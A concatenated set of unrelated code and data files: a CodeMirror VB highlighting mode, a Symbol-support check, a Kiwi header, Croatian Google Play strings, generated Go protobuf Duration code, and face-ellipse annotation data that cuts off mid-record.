(stream.match(/^\\d+\\.\\d*F?/)) { floatLiteral = true; }\n            else if (stream.match(/^\\.\\d+F?/)) { floatLiteral = true; }\n\n            if (floatLiteral) {\n                // Float literals may be \"imaginary\"\n                stream.eat(/J/i);\n                return 'number';\n            }\n            // Integers\n            var intLiteral = false;\n            // Hex\n            if (stream.match(/^&H[0-9a-f]+/i)) { intLiteral = true; }\n            // Octal\n            else if (stream.match(/^&O[0-7]+/i)) { intLiteral = true; }\n            // Decimal\n            else if (stream.match(/^[1-9]\\d*F?/)) {\n                // Decimal literals may be \"imaginary\"\n                stream.eat(/J/i);\n                // TODO - Can you have imaginary longs?\n                intLiteral = true;\n            }\n            // Zero by itself with no other piece of number.\n            else if (stream.match(/^0(?![\\dx])/i)) { intLiteral = true; }\n            if (intLiteral) {\n                // Integer literals may be \"long\"\n                stream.eat(/L/i);\n                return 'number';\n            }\n        }\n\n        // Handle Strings\n        if (stream.match(stringPrefixes)) {\n            state.tokenize = tokenStringFactory(stream.current());\n            return state.tokenize(stream, state);\n        }\n\n        // Handle operators and Delimiters\n        if (stream.match(tripleDelimiters) || stream.match(doubleDelimiters)) {\n            return null;\n        }\n        if (stream.match(doubleOperators)\n            || stream.match(singleOperators)\n            || stream.match(wordOperators)) {\n            return 'operator';\n        }\n        if (stream.match(singleDelimiters)) {\n            return null;\n        }\n        if (stream.match(doOpening)) {\n            indent(stream,state);\n            state.doInCurrentLine = true;\n            return 'keyword';\n        }\n        if (stream.match(opening)) {\n            if (! state.doInCurrentLine)\n              indent(stream,state);\n            else\n              state.doInCurrentLine = false;\n            return 'keyword';\n        }\n        if (stream.match(middle)) {\n            return 'keyword';\n        }\n\n        if (stream.match(doubleClosing)) {\n            dedent(stream,state);\n            dedent(stream,state);\n            return 'keyword';\n        }\n        if (stream.match(closing)) {\n            dedent(stream,state);\n            return 'keyword';\n        }\n\n        if (stream.match(types)) {\n            return 'keyword';\n        }\n\n        if (stream.match(keywords)) {\n            return 'keyword';\n        }\n\n        if (stream.match(identifiers)) {\n            return 'variable';\n        }\n\n        // Handle non-detected items\n        stream.next();\n        return ERRORCLASS;\n    }\n\n    function tokenStringFactory(delimiter) {\n        var singleline = delimiter.length == 1;\n        var OUTCLASS = 'string';\n\n        return function(stream, state) {\n            while (!stream.eol()) {\n                stream.eatWhile(/[^'\"]/);\n                if (stream.match(delimiter)) {\n                    state.tokenize = tokenBase;\n                    return OUTCLASS;\n                } else {\n                    stream.eat(/['\"]/);\n                }\n            }\n            if (singleline) {\n                if (parserConf.singleLineStringErrors) {\n                    return ERRORCLASS;\n                } else {\n                    state.tokenize = tokenBase;\n                }\n            }\n            return OUTCLASS;\n        };\n    }\n\n\n    function tokenLexer(stream, state) {\n        var style = state.tokenize(stream, state);\n        var current = stream.current();\n\n        // Handle '.' connected identifiers\n        if (current === '.') {\n            style = state.tokenize(stream, state);\n            current = stream.current();\n            if (style === 'variable') {\n                return 'variable';\n            } else {\n                return ERRORCLASS;\n            }\n        }\n\n\n        var delimiter_index = '[({'.indexOf(current);\n        if (delimiter_index !== -1) {\n            indent(stream, state );\n        }\n        if (indentInfo === 'dedent') {\n            if (dedent(stream, state)) {\n                return ERRORCLASS;\n            }\n        }\n        delimiter_index = '])}'.indexOf(current);\n        if (delimiter_index !== -1) {\n            if (dedent(stream, state)) {\n                return ERRORCLASS;\n            }\n        }\n\n        return style;\n    }\n\n    var external = {\n        electricChars:\"dDpPtTfFeE \",\n        startState: function() {\n            return {\n              tokenize: tokenBase,\n              lastToken: null,\n              currentIndent: 0,\n              nextLineIndent: 0,\n              doInCurrentLine: false\n\n\n          };\n        },\n\n        token: function(stream, state) {\n            if (stream.sol()) {\n              state.currentIndent += state.nextLineIndent;\n              state.nextLineIndent = 0;\n              state.doInCurrentLine = 0;\n            }\n            var style = tokenLexer(stream, state);\n\n            state.lastToken = {style:style, content: stream.current()};\n\n\n\n            return style;\n        },\n\n        indent: function(state, textAfter) {\n            var trueText = textAfter.replace(/^\\s+|\\s+$/g, '') ;\n            if (trueText.match(closing) || trueText.match(doubleClosing) || trueText.match(middle)) return conf.indentUnit*(state.currentIndent-1);\n            if(state.currentIndent < 0) return 0;\n            return state.currentIndent * conf.indentUnit;\n        }\n\n    };\n    return external;\n});\n\nCodeMirror.defineMIME(\"text/x-vb\", \"vb\");\n\n});\n"}
+{"text": "// Exports true if environment provides native `Symbol` implementation\n\n'use strict';\n\nmodule.exports = (function () {\n\tif (typeof Symbol !== 'function') return false;\n\treturn (typeof Symbol.iterator === 'symbol');\n}());\n"}
+{"text": "//\n// Licensed under the terms in License.txt\n//\n// Copyright 2010 Allen Ding. All rights reserved.\n//\n\n#import \"KiwiConfiguration.h\"\n\n#pragma mark - Checking for Case Separated Words\n\nBOOL KWStringHasWordPrefix(NSString *string, NSString *prefix);\nBOOL KWStringHasStrictWordPrefix(NSString *string, NSString *prefix);\nBOOL KWStringHasWord(NSString *string, NSString *word);\n\n#pragma mark - Getting Type Encodings\n\nNSString *KWEncodingWithObjCTypes(const char *firstType, ...) NS_REQUIRES_NIL_TERMINATION;\nNSString *KWEncodingForVoidMethod(void);\nNSString *KWEncodingForDefaultMethod(void);\n"}
+{"text": "\n\n\n    \n\n    \n\n\n"}
+{"text": "\n\n    \"Preuzmi usluge za Google Play\"\n    \"Ova aplikacija neće funkcionirati bez usluga za Google Play, koje nisu instalirane na vašem telefonu.\"\n    \"Ova aplikacija neće funkcionirati bez usluga za Google Play, koje nisu instalirane na vašem tabletnom računalu.\"\n    \"Preuzmi usluge za Google Play\"\n    \"Omogući usluge za Google Play\"\n    \"Ova aplikacija neće raditi ako ne omogućite usluge za Google Play.\"\n    \"Omogući usluge za Google Play\"\n    \"Ažuriraj usluge za Google Play\"\n    \"Ova se aplikacija neće pokrenuti ako ne ažurirate usluge za Google Play.\"\n    \"Nepoznata poteškoća s uslugama za Google Play.\"\n    \"Usluge za Google Play\"\n    \"Usluge za Google Play, koje su potrebne za funkcioniranje nekih vaših aplikacija, nisu podržane na vašem uređaju. Pomoć potražite od proizvođača.\"\n    \"Ažuriranje\"\n    \"Prijava\"\n    \"Prijava uslugom Google\"\n\n    \"Aplikacija je pokušala upotrijebiti lošu verziju Usluga za Google Play.\"\n    \"Aplikacija zahtijeva omogućavanje Usluga za Google Play.\"\n    \"Aplikacija zahtijeva instaliranje Usluga za Google Play.\"\n    \"Aplikacija zahtijeva ažuriranje Usluga za Google Play.\"\n    \"Pogreška usluga za Google Play\"\n    \"Zahtijeva aplikacija %1$s\"\n\n"}
+{"text": "// Code generated by protoc-gen-go. DO NOT EDIT.\n// source: google/protobuf/duration.proto\n\npackage duration // import \"github.com/golang/protobuf/ptypes/duration\"\n\nimport proto \"github.com/golang/protobuf/proto\"\nimport fmt \"fmt\"\nimport math \"math\"\n\n// Reference imports to suppress errors if they are not otherwise used.\nvar _ = proto.Marshal\nvar _ = fmt.Errorf\nvar _ = math.Inf\n\n// This is a compile-time assertion to ensure that this generated file\n// is compatible with the proto package it is being compiled against.\n// A compilation error at this line likely means your copy of the\n// proto package needs to be updated.\nconst _ = proto.ProtoPackageIsVersion2 // please upgrade the proto package\n\n// A Duration represents a signed, fixed-length span of time represented\n// as a count of seconds and fractions of seconds at nanosecond\n// resolution. It is independent of any calendar and concepts like \"day\"\n// or \"month\". It is related to Timestamp in that the difference between\n// two Timestamp values is a Duration and it can be added or subtracted\n// from a Timestamp. Range is approximately +-10,000 years.\n//\n// # Examples\n//\n// Example 1: Compute Duration from two Timestamps in pseudo code.\n//\n//     Timestamp start = ...;\n//     Timestamp end = ...;\n//     Duration duration = ...;\n//\n//     duration.seconds = end.seconds - start.seconds;\n//     duration.nanos = end.nanos - start.nanos;\n//\n//     if (duration.seconds < 0 && duration.nanos > 0) {\n//       duration.seconds += 1;\n//       duration.nanos -= 1000000000;\n//     } else if (durations.seconds > 0 && duration.nanos < 0) {\n//       duration.seconds -= 1;\n//       duration.nanos += 1000000000;\n//     }\n//\n// Example 2: Compute Timestamp from Timestamp + Duration in pseudo code.\n//\n//     Timestamp start = ...;\n//     Duration duration = ...;\n//     Timestamp end = ...;\n//\n//     end.seconds = start.seconds + duration.seconds;\n//     end.nanos = start.nanos + duration.nanos;\n//\n//     if (end.nanos < 0) {\n//       end.seconds -= 1;\n//       end.nanos += 1000000000;\n//     } else if (end.nanos >= 1000000000) {\n//       end.seconds += 1;\n//       end.nanos -= 1000000000;\n//     }\n//\n// Example 3: Compute Duration from datetime.timedelta in Python.\n//\n//     td = datetime.timedelta(days=3, minutes=10)\n//     duration = Duration()\n//     duration.FromTimedelta(td)\n//\n// # JSON Mapping\n//\n// In JSON format, the Duration type is encoded as a string rather than an\n// object, where the string ends in the suffix \"s\" (indicating seconds) and\n// is preceded by the number of seconds, with nanoseconds expressed as\n// fractional seconds. For example, 3 seconds with 0 nanoseconds should be\n// encoded in JSON format as \"3s\", while 3 seconds and 1 nanosecond should\n// be expressed in JSON format as \"3.000000001s\", and 3 seconds and 1\n// microsecond should be expressed in JSON format as \"3.000001s\".\n//\n//\ntype Duration struct {\n\t// Signed seconds of the span of time. Must be from -315,576,000,000\n\t// to +315,576,000,000 inclusive. Note: these bounds are computed from:\n\t// 60 sec/min * 60 min/hr * 24 hr/day * 365.25 days/year * 10000 years\n\tSeconds int64 `protobuf:\"varint,1,opt,name=seconds\" json:\"seconds,omitempty\"`\n\t// Signed fractions of a second at nanosecond resolution of the span\n\t// of time. Durations less than one second are represented with a 0\n\t// `seconds` field and a positive or negative `nanos` field. For durations\n\t// of one second or more, a non-zero value for the `nanos` field must be\n\t// of the same sign as the `seconds` field. Must be from -999,999,999\n\t// to +999,999,999 inclusive.\n\tNanos                int32    `protobuf:\"varint,2,opt,name=nanos\" json:\"nanos,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized     []byte   `json:\"-\"`\n\tXXX_sizecache        int32    `json:\"-\"`\n}\n\nfunc (m *Duration) Reset()         { *m = Duration{} }\nfunc (m *Duration) String() string { return proto.CompactTextString(m) }\nfunc (*Duration) ProtoMessage()    {}\nfunc (*Duration) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_duration_e7d612259e3f0613, []int{0}\n}\nfunc (*Duration) XXX_WellKnownType() string { return \"Duration\" }\nfunc (m *Duration) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_Duration.Unmarshal(m, b)\n}\nfunc (m *Duration) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_Duration.Marshal(b, m, deterministic)\n}\nfunc (dst *Duration) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_Duration.Merge(dst, src)\n}\nfunc (m *Duration) XXX_Size() int {\n\treturn xxx_messageInfo_Duration.Size(m)\n}\nfunc (m *Duration) XXX_DiscardUnknown() {\n\txxx_messageInfo_Duration.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_Duration proto.InternalMessageInfo\n\nfunc (m *Duration) GetSeconds() int64 {\n\tif m != nil {\n\t\treturn m.Seconds\n\t}\n\treturn 0\n}\n\nfunc (m *Duration) GetNanos() int32 {\n\tif m != nil {\n\t\treturn m.Nanos\n\t}\n\treturn 0\n}\n\nfunc init() {\n\tproto.RegisterType((*Duration)(nil), \"google.protobuf.Duration\")\n}\n\nfunc init() {\n\tproto.RegisterFile(\"google/protobuf/duration.proto\", fileDescriptor_duration_e7d612259e3f0613)\n}\n\nvar fileDescriptor_duration_e7d612259e3f0613 = []byte{\n\t// 190 bytes of a gzipped FileDescriptorProto\n\t0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xe2, 0x92, 0x4b, 0xcf, 0xcf, 0x4f,\n\t0xcf, 0x49, 0xd5, 0x2f, 0x28, 0xca, 0x2f, 0xc9, 0x4f, 0x2a, 0x4d, 0xd3, 0x4f, 0x29, 0x2d, 0x4a,\n\t0x2c, 0xc9, 0xcc, 0xcf, 0xd3, 0x03, 0x8b, 0x08, 0xf1, 0x43, 0xe4, 0xf5, 0x60, 0xf2, 0x4a, 0x56,\n\t0x5c, 0x1c, 0x2e, 0x50, 0x25, 0x42, 0x12, 0x5c, 0xec, 0xc5, 0xa9, 0xc9, 0xf9, 0x79, 0x29, 0xc5,\n\t0x12, 0x8c, 0x0a, 0x8c, 0x1a, 0xcc, 0x41, 0x30, 0xae, 0x90, 0x08, 0x17, 0x6b, 0x5e, 0x62, 0x5e,\n\t0x7e, 0xb1, 0x04, 0x93, 0x02, 0xa3, 0x06, 0x6b, 0x10, 0x84, 0xe3, 0x54, 0xc3, 0x25, 0x9c, 0x9c,\n\t0x9f, 0xab, 0x87, 0x66, 0xa4, 0x13, 0x2f, 0xcc, 0xc0, 0x00, 0x90, 0x48, 0x00, 0x63, 0x94, 0x56,\n\t0x7a, 0x66, 0x49, 0x46, 0x69, 0x92, 0x5e, 0x72, 0x7e, 0xae, 0x7e, 0x7a, 0x7e, 0x4e, 0x62, 0x5e,\n\t0x3a, 0xc2, 0x7d, 0x05, 0x25, 0x95, 0x05, 0xa9, 0xc5, 0x70, 0x67, 0xfe, 0x60, 0x64, 0x5c, 0xc4,\n\t0xc4, 0xec, 0x1e, 0xe0, 0xb4, 0x8a, 0x49, 0xce, 0x1d, 0x62, 0x6e, 0x00, 0x54, 0xa9, 0x5e, 0x78,\n\t0x6a, 0x4e, 0x8e, 0x77, 0x5e, 0x7e, 0x79, 0x5e, 0x08, 0x48, 0x4b, 0x12, 0x1b, 0xd8, 0x0c, 0x63,\n\t0x40, 0x00, 0x00, 0x00, 0xff, 0xff, 0xdc, 0x84, 0x30, 0xff, 0xf3, 0x00, 0x00, 0x00,\n}\n"}
+{"text": "2002/08/18/big/img_181.jpg\n3\n57.769500 38.352200 1.513759 150.113400 251.395700  1\n19.695200 14.780000 1.567555 219.051724 51.242800  1\n22.997200 17.359600 -1.550732 275.555600 88.536500  1\n2002/08/10/big/img_520.jpg\n1\n174.786358 121.149095 -1.570088 169.089404 191.823164  1\n2002/08/25/big/img_705.jpg\n1\n206.880061 130.000000 -1.346221 150.065600 237.088332  1\n2002/08/23/big/img_226.jpg\n1\n53.330742 42.743538 -1.546056 121.872137 85.294974  1\n2002/08/04/big/img_727.jpg\n1\n176.026266 108.967635 -1.548108 158.522717 198.484302  1\n2002/07/24/big/img_625.jpg\n3\n86.300174 55.988674 -1.446916 281.254421 201.504138  1\n78.053938 52.801661 1.509103 181.159310 71.841276  1\n50.076081 34.324346 -1.469840 339.106205 82.469309  1\n2002/08/28/big/img_19157.jpg\n2\n61.842900 40.293400 1.536014 129.712170 78.828500  1\n65.996600 40.604000 -1.471208 321.314265 128.102790  1\n2002/08/23/big/img_586.jpg\n2\n79.625164 52.164099 -1.489868 133.972127 90.280695  1\n69.512763 48.650762 -1.564605 330.981365 148.939691  1\n2002/07/31/big/img_232.jpg\n1\n163.368309 102.909934 1.502084 149.427322 197.556689  1\n2003/01/13/big/img_240.jpg\n1\n72.984343 47.000000 1.491873 91.802255 205.856278  1\n2003/01/14/big/img_321.jpg\n2\n89.179412 52.259453 -1.500770 131.678235 111.077756  1\n83.092100 55.000000 1.371342 265.139700 151.395100  1\n2003/01/15/big/img_533.jpg\n2\n53.086100 36.293300 -1.456119 193.933400 184.222700  1\n77.127300 51.936900 -1.566363 328.356300 76.365300  1\n2002/07/23/big/img_480.jpg\n1\n71.414797 40.305587 1.551731 217.009347 81.902782  1\n2002/07/24/big/img_371.jpg\n1\n67.765500 44.169700 1.536063 146.222200 105.333300  1\n2002/08/21/big/img_702.jpg\n1\n223.878100 132.955700 1.567709 227.254900 73.464600  1\n2002/08/31/big/img_17075.jpg\n1\n70.334200 43.587610 1.569418 115.319200 139.377200  1\n2002/09/02/big/img_15278.jpg\n2\n46.726900 31.895200 1.452955 169.969700 75.949200  1\n39.533000 24.900700 1.444616 17.789700 326.347200  1\n2002/07/29/big/img_246.jpg\n2\n159.626783 113.553794 -1.222936 206.447775 170.963125  1\n133.976363 94.005760 1.465518 349.461782 159.234513  1\n2003/01/15/big/img_829.jpg\n1\n120.309400 73.769000 1.355702 175.223500 140.634000  1\n2003/01/15/big/img_1213.jpg\n2\n46.529800 32.690800 1.516684 92.408800 61.248000  1\n46.322600 31.805900 1.458804 287.582300 60.430300  1\n2003/01/16/big/img_441.jpg\n1\n68.799235 41.767200 -1.386352 208.433200 103.288800  1\n2002/08/14/big/img_921.jpg\n3\n50.648900 37.018300 1.560530 61.929600 91.695200  1\n27.219600 16.807800 -1.305594 145.367900 117.260500  1\n46.168800 32.270500 -1.184342 272.779500 132.454000  1\n2002/07/23/big/img_425.jpg\n1\n90.093295 59.914647 -1.537335 337.362656 160.865545  1\n2002/08/15/big/img_296.jpg\n2\n73.694600 53.508100 1.535689 90.489000 103.218800  1\n84.837800 58.257200 -1.537406 236.197600 140.202600  1\n2002/07/19/big/img_135.jpg\n2\n78.535410 47.837389 1.416695 116.628733 148.055502  1\n67.176374 41.251702 1.503483 272.555530 84.581056  1\n2002/07/26/big/img_402.jpg\n4\n53.637404 35.846932 1.512566 140.373866 68.934133  1\n53.296667 34.669953 1.378187 320.417635 57.454941  1\n46.195247 30.238556 1.528745 414.207736 35.889685  1\n38.250044 19.988459 -1.560995 7.250696 51.211699  1\n2003/01/17/big/img_88.jpg\n1\n56.202200 40.145500 -1.493716 163.167400 65.347600  1\n2002/08/20/big/img_872.jpg\n1\n197.149700 115.200600 1.519466 158.366800 218.835500  1\n2002/08/13/big/img_1110.jpg\n2\n57.266300 37.526800 -1.563857 82.204600 21.135500  1\n59.608600 41.246467 -1.489831 190.693463 72.265946  1\n2003/01/16/big/img_1040.jpg\n2\n123.310800 76.498500 1.468621 112.200200 139.809400  1\n158.005200 104.729200 1.214345 322.561300 128.096900  1\n2002/07/23/big/img_9.jpg\n1\n133.236721 93.883329 -1.547847 235.615209 154.939152  1\n2002/08/13/big/img_700.jpg\n2\n79.008398 53.081763 1.554914 95.117344 163.328249  1\n78.861564 54.122800 -1.243021 255.025800 114.367100  1\n2002/08/16/big/img_371.jpg\n1\n99.017500 74.027400 -1.535253 339.660400 118.605300  1\n2002/08/27/big/img_19966.jpg\n1\n141.844200 91.184500 -1.375565 185.377300 152.648200  1\n2003/01/17/big/img_391.jpg\n1\n119.324800 79.954000 -1.528479 211.884000 168.479600  1\n2002/08/18/big/img_426.jpg\n1\n83.313700 52.946900 -1.516242 209.766500 111.037000  1\n2002/08/01/big/img_1618.jpg\n2\n128.830367 91.057890 -1.107514 175.748180 123.895922  1\n112.042980 74.866085 1.319436 254.836159 303.926059  1\n2002/07/21/big/img_754.jpg\n1\n65.241407 39.639813 1.539277 278.833647 91.818244  1\n2003/01/14/big/img_1101.jpg\n1\n71.000000 45.880362 -1.495408 133.076058 38.903834  1\n2003/01/16/big/img_1022.jpg\n1\n129.102800 79.896900 -1.534424 155.235200 194.664600  1\n2002/07/22/big/img_275.jpg\n1\n81.788813 53.884421 1.565423 191.485436 119.500970  1\n2002/08/24/big/img_86.jpg\n1\n76.409039 52.676555 -1.550264 112.986894 103.151184  1\n2002/08/17/big/img_582.jpg\n1\n131.140700 86.255800 1.454931 178.314100 150.567900  1\n2003/01/15/big/img_765.jpg\n1\n108.501300 72.359000 -1.549140 285.198200 61.202300  1\n2003/01/17/big/img_449.jpg\n2\n69.135300 42.774400 1.268113 62.015800 232.957000  1\n84.668600 52.730800 1.500967 260.453000 105.316700  1\n2002/07/28/big/img_265.jpg\n1\n98.714418 67.593520 -1.473430 170.381738 173.083030  1\n2003/01/13/big/img_552.jpg\n1\n144.768000 87.000000 1.481908 161.205800 170.706500  1\n2002/07/28/big/img_115.jpg\n3\n33.109205 21.453187 1.487299 181.807256 93.263038  1\n31.087139 21.457895 1.568790 220.919207 74.612042  1\n31.506629 19.348694 -1.503970 343.216708 71.238213  1\n2003/01/16/big/img_56.jpg\n1\n141.374110 91.890158 -1.542310 159.567202 221.971757  1\n2002/08/02/big/img_1232.jpg\n4\n31.552751 22.702435 1.450286 4.083591 179.111455  1\n33.391471 21.604768 -1.516927 39.052980 163.413907  1\n46.080859 30.288126 1.466778 147.846758 195.432078  1\n34.572954 25.499453 -1.535792 172.545863 157.667266  1\n2003/01/17/big/img_925.jpg\n1\n80.325900 54.533100 -1.404618 154.234700 139.756800  1\n2002/07/22/big/img_445.jpg\n1\n158.497910 96.856019 -1.534432 148.406803 189.533288  1\n2002/07/25/big/img_957.jpg\n4\n73.678155 49.058897 1.568465 49.990500 76.310535  1\n41.050194 41.678314 1.566713 68.574632 291.114751  1\n102.870958 71.575978 1.354797 192.891898 156.627525  1\n53.615036 41.632300 1.536987 142.303174 29.120970  1\n2002/07/20/big/img_589.jpg\n2\n87.879021 56.278971 -1.535890 248.956364 131.244319  1\n84.513572 66.265510 1.431170 113.541987 286.502659  1\n2002/08/31/big/img_17107.jpg\n2\n34.902400 23.000000 -1.525952 133.996500 89.038300  1\n53.471300 36.000000 -1.516375 313.231800 67.577100  1\n2002/07/29/big/img_483.jpg\n2\n59.071136 35.943498 -1.565485 181.015789 76.315789  1\n49.554587 34.068059 -1.569063 32.000000 68.500000  1\n2002/08/14/big/img_1063.jpg\n3\n71.390349 43.836000 -1.395305 68.422213 64.132311  1\n64.360292 42.464883 -1.538416 203.834279 21.965700  1\n71.961175 49.168370 1.237757 283.924779 147.050981  1\n2002/08/07/big/img_1545.jpg\n1\n60.016564 34.288511 1.543362 208.625159 73.399968  1\n2002/08/14/big/img_680.jpg\n1\n76.870739 57.031800 1.415276 198.984200 97.958400  1\n2002/09/01/big/img_16694.jpg\n3\n67.650635 46.574000 -1.528024 125.286949 316.867100  1\n71.404400 47.376900 1.466462 107.837500 91.185500  1\n81.060600 53.007100 1.217025 216.284800 149.651300  1\n2002/08/14/big/img_257.jpg\n1\n93.283159 59.517561 1.516625 263.817544 123.983461  1\n2002/08/11/big/img_726.jpg\n2\n69.202900 48.996400 1.570796 59.088900 80.945200  1\n123.748800 80.008600 -1.504740 217.757600 252.652600  1\n2002/07/26/big/img_681.jpg\n1\n115.420844 74.440222 1.340010 146.209662 164.596650  1\n2002/07/25/big/img_481.jpg\n1\n104.865762 69.539058 1.531199 138.024697 127.169372  1\n2003/01/14/big/img_737.jpg\n1\n67.085700 47.698400 1.472152 97.939800 97.167000  1\n2002/08/28/big/img_19480.jpg\n2\n72.000000 46.849900 -1.552798 99.646400 87.049200  1\n71.000000 45.245731 -1.518083 309.796600 101.107065  1\n2003/01/16/big/img_362.jpg\n1\n61.225400 41.517900 -1.496133 143.047800 65.469300  1\n2002/08/27/big/img_19865.jpg\n1\n128.014800 96.000000 1.413157 230.553900 150.793500  1\n2003/01/01/big/img_547.jpg\n1\n117.000000 73.000000 -1.538283 160.879300 134.536300  1\n2002/09/02/big/img_15074.jpg\n1\n51.234200 37.539600 1.449629 156.502400 68.136400  1\n2002/08/01/big/img_1453.jpg\n1\n76.719735 51.441937 1.324562 287.062098 101.672809  1\n2002/08/22/big/img_594.jpg\n2\n90.974508 62.010846 1.529082 353.627477 118.667933  1\n40.587369 26.612760 -1.552082 141.706226 159.452987  1\n2002/08/28/big/img_19263.jpg\n2\n47.236200 36.109900 1.457972 153.357219 246.914600  1\n29.515790 22.437198 1.528343 250.646148 303.520225  1\n2002/08/13/big/img_478.jpg\n3\n10.792280 8.500980 1.528778 26.398148 78.833333  1\n51.533700 35.842900 1.497995 129.846200 60.315481  1\n16.011200 10.163309 -1.535766 252.944562 66.379500  1\n2002/07/29/big/img_1358.jpg\n2\n77.898036 52.618149 -1.432221 185.704992 191.730884  1\n65.605597 47.261059 0.783108 155.723960 46.715495  1\n2003/01/14/big/img_1022.jpg\n1\n75.268882 44.583831 -1.569199 141.301305 99.175121  1\n2002/08/16/big/img_450.jpg\n9\n49.878800 33.211400 -1.553093 90.251100 139.728800  1\n22.036900 19.635600 1.420335 147.894700 157.976300  1\n44.088600 28.150400 -1.546245 208.900100 196.006800  1\n26.804200 19.954500 1.514394 236.816300 147.938800  1\n35.437300 25.572500 1.536654 284.605200 141.063600  1\n31.468100 21.771800 1.522456 378.829100 190.659700  1\n25.551200 17.374900 -1.415811 418.563700 177.632200  1\n21.487700 16.452400 1.461254 421.050500 142.404000  1\n54.877400 41.242500 1.562569 353.736600 305.752600  1\n2002/08/02/big/img_159.jpg\n1\n133.803563 78.778994 1.440883 148.385701 151.788563  1\n2002/07/26/big/img_781.jpg\n2\n20.202857 13.825781 -1.330489 149.721649 57.577319  1\n45.974820 34.444860 1.484230 310.198646 182.408979  1\n2003/01/13/big/img_601.jpg\n1\n143.005700 93.000000 1.475016 208.980700 175.913200  1\n2002/08/20/big/img_407.jpg\n1\n175.387300 115.023600 -1.434377 164.633300 205.926700  1\n2002/08/15/big/img_468.jpg\n13\n47.639700 30.276200 1.514338 26.481400 95.433600  1\n47.611300 32.137900 -1.569487 81.956700 210.941700  1\n54.867200 34.770800 -1.338302 175.000000 203.815700  1\n42.376900 28.942900 -1.399208 238.565000 273.836200  1\n45.527900 29.041900 -1.463624 275.463800 173.174800  1\n44.753800 28.080800 -1.503247 241.778600 150.750600  1\n35.326100 23.668300 1.438493 122.835200 103.155400  1\n32.137099 22.654900 1.334915 80.858000 82.538300  1\n35.050816 23.576700 -1.332330 176.403000 96.791400  1\n20.987500 13.798200 -1.475838 42.977300 18.128000  1\n21.043100 15.175700 -1.550138 254.566400 24.490200  1\n45.602100 24.506700 1.539349 5.844200 221.628800  1\n26.397100 18.633000 -1.457140 139.715500 67.501600  1\n2002/08/31/big/img_17902.jpg\n1\n59.000000 38.000000 1.567025 144.138426 70.107408  1\n2002/08/16/big/img_81.jpg\n1\n65.464800 39.712200 1.532162 125.360200 79.966800  1\n2002/07/25/big/img_987.jpg\n1\n132.570294 79.433643 -1.556822 159.518588 151.529953  1\n2002/07/25/big/img_500.jpg\n1\n84.091025 51.351182 -1.467584 169.672998 128.464494  1\n2002/08/02/big/img_31.jpg\n1\n82.007682 53.943594 -1.440710 179.883082 93.269739  1\n2002/08/18/big/img_538.jpg\n2\n66.910600 51.553200 -1.438486 157.799700 88.133700  1\n69.005300 42.584600 1.469272 309.732290 91.328400  1\n2002/08/08/big/img_54.jpg\n1\n63.045859 36.509671 -1.386803 263.858683 88.990578  1\n2002/07/23/big/img_686.jpg\n2\n65.348706 35.508551 -1.567763 216.615454 121.685718  1\n59.195392 29.430750 1.556947 98.009114 276.560894  1\n2002/07/24/big/img_836.jpg\n5\n86.028002 57.008534 -1.500032 264.003097 164.573851  1\n20.444411 14.659203 -1.410858 50.982563 271.884045  1\n36.098308 24.079475 -1.563914 413.962764 254.218680  1\n18.658427 14.520913 -1.566280 22.353216 275.302923  1\n23.232748 16.574763 -1.552221 99.272727 259.904040  1\n2003/01/17/big/img_734.jpg\n1\n77.114200 48.314000 -1.551467 199.664200 114.353800  1\n2002/08/16/big/img_1055.jpg\n1\n68.680900 41.046100 -1.509057 163.512900 79.519900  1\n2003/01/16/big/img_521.jpg\n1\n115.986400 91.239900 -1.526019 240.043700 174.426100  1\n2002/07/25/big/img_612.jpg\n1\n86.989948 56.790700 -1.501071 210.855184 105.887641  1\n2002/08/22/big/img_778.jpg\n1\n56.490901 35.012688 1.458438 155.691372 100.441205  1\n2002/08/03/big/img_251.jpg\n1\n37.190656 24.126221 -1.395796 278.910478 76.628730  1\n2002/08/12/big/img_436.jpg\n3\n44.784186 28.861297 1.409254 72.686661 55.569475  1\n53.426833 36.343791 1.536509 219.844031 89.605120  1\n33.546811 22.035422 -1.538267 389.105053 137.520598  1\n2002/08/23/big/img_705.jpg\n1\n134.476362 82.556470 1.525660 178.492290 156.584136  1\n2002/07/28/big/img_243.jpg\n2\n97.585303 70.521026 1.544007 123.214645 202.433590  1\n117.342330 78.826041 1.451736 275.440989 103.606673  1\n2002/07/25/big/img_1029.jpg\n2\n61.747039 42.330574 -1.528240 346.730207 140.302997  1\n80.649164 52.019653 1.533780 154.843771 104.458627  1\n2002/08/20/big/img_287.jpg\n1\n160.905800 102.365100 1.562532 149.688215 187.645200  1\n2002/08/29/big/img_18739.jpg\n1\n147.000000 96.686800 -1.517372 173.608200 177.849500  1\n2002/08/05/big/img_3272.jpg\n1\n75.587654 46.444411 1.408069 195.069738 98.949045  1\n2002/07/27/big/img_214.jpg\n1\n68.985305 50.957626 -1.496953 185.073055 85.544581  1\n2003/01/14/big/img_5.jpg\n1\n59.050200 37.949100 -1.537289 154.466900 114.871900  1\n2002/08/01/big/img_1380.jpg\n1\n156.854666 93.554413 1.475766 156.748363 147.164563  1\n2002/08/29/big/img_19097.jpg\n1\n61.000000 40.185622 1.552300 157.538824 82.445852  1\n2002/07/30/big/img_486.jpg\n1\n114.889585 72.334008 -1.460069 148.478107 142.696840  1\n2002/08/29/big/img_18707.jpg\n2\n51.000000 35.671000 1.033067 104.363700 106.115900  1\n65.000000 44.156200 1.446754 296.804800 111.666968  1\n2002/08/10/big/img_559.jpg\n3\n111.251300 73.939000 -1.221730 91.952400 109.387800  1\n57.627500 35.303400 -1.518436 203.178600 81.085300  1\n79.935400 55.608600 1.466077 332.070915 149.019700  1\n2002/08/15/big/img_365.jpg\n1\n94.171200 66.830800 -1.561780 207.267200 137.359200  1\n2002/08/09/big/img_525.jpg\n1\n145.940754 99.956912 -1.569593 154.245960 161.695691  1\n2002/08/10/big/img_689.jpg\n1\n53.206977 35.319632 1.463052 123.836200 153.512540  1\n2002/07/25/big/img_502.jpg\n1\n63.980513 39.052693 1.455114 173.499916 268.347010  1\n2002/08/03/big/img_667.jpg\n1\n66.640414 40.720203 1.414146 226.563321 94.725985  1\n2002/08/10/big/img_855.jpg\n4\n61.997486 37.301938 1.418243 